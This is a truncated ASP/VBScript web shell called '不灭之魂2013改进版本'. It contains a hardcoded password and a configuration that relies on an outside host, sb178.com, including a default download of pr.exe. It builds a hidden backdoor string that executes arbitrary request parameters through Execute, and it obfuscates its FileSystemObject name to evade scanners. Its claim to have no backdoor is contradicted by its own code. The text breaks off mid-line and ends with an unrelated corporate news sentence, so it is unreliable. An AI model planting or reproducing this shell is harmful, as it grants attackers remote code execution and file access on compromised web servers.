<%@ LANGUAGE = VBScript.Encode %><%
Server.ScriptTimeout=999999999
UserPass="xiaoleyl" '密码
mNametitle ="不灭之魂2013改进版本" ' 标题
Copyright=" " '版权
SItEuRl="http://sb178.com/" '你的网站
bg ="http://sb178.com/bg/1.jpg" '背景图片,不使用留空
ysjb=true '是否有拖动效果,true为是,false为否
htp="http://sb178.com/web/" '功能地址，不可更改，否则导致大部分依靠在线服务不能运行
durl="http://sb178.com//web/pr.exe" '默认下载文件地址
'---------------------------------------------------------------------------------------
'不灭之魂
'2013改进程序
'本程序无任何后门，如有改动请勿使用,有任何疑问；建议意见请联系EMAIL：admin7s.govedu@h4ck2b.com
'----------------------------------------------------------------------------------------
Response.Buffer =true
BodyColor="#006000"
FontColor="#006000"
LinkColor="#006000"
On Error Resume Next
strBAD="If Request(""#"")<>"""" Then Session(""#"")=Request(""#"")"&VbNewLine
strBAD=strBAD&"If Session(""#"")<>"""" Then Execute(Session(""#""))"
Const DEfd=""
sub ShowErr()
If Err Then
j" " & Err.Description & " "
Err.Clear:Response.Flush
End If
end sub
Sub j(str)
response.write(str)
End Sub
sub RaPath(s)
RaPath=ExecuteGlobal(s)
End sub
Function RePath(S)
RePath=Replace(S,"\","\\")
End Function
Function RRePath(S)
RRePath=Replace(S,"\\","\")
End Function
URL=Request.ServerVariables("URL")
ScriptPath=Server.MapPath(Request.ServerVariables("SCRIPT_NAME"))
ServerIP=Request.ServerVariables("LOCAL_ADDR")
Action=Request("Action")
RootPath=Server.MapPath(".")
WWWRoot=Server.MapPath("/")
CONST_FSO="Script"&"ing.Fil"&"eSyst"&"emObject"
FolderPath=Request("FolderPath")
u=request.servervariables("http_host")&url
domain=Request.ServerVariables("http_host")
FName=Request("FName")
cdx="
":cxd="8":ef="
"
set fso=server.CreateObject(CONST_FSO)
set fsoX=server.CreateObject(CONST_FSO)
str1="http://"&Request.ServerVariables("SERVER_Name")& left(Request.ServerVariables("URL"),InstrRev(Request.ServerVariables("URL"),"/")):BackUrl="
我司总经理李美斌出席了安防产品强制性产品认证实施规则及细则宣贯会（上海）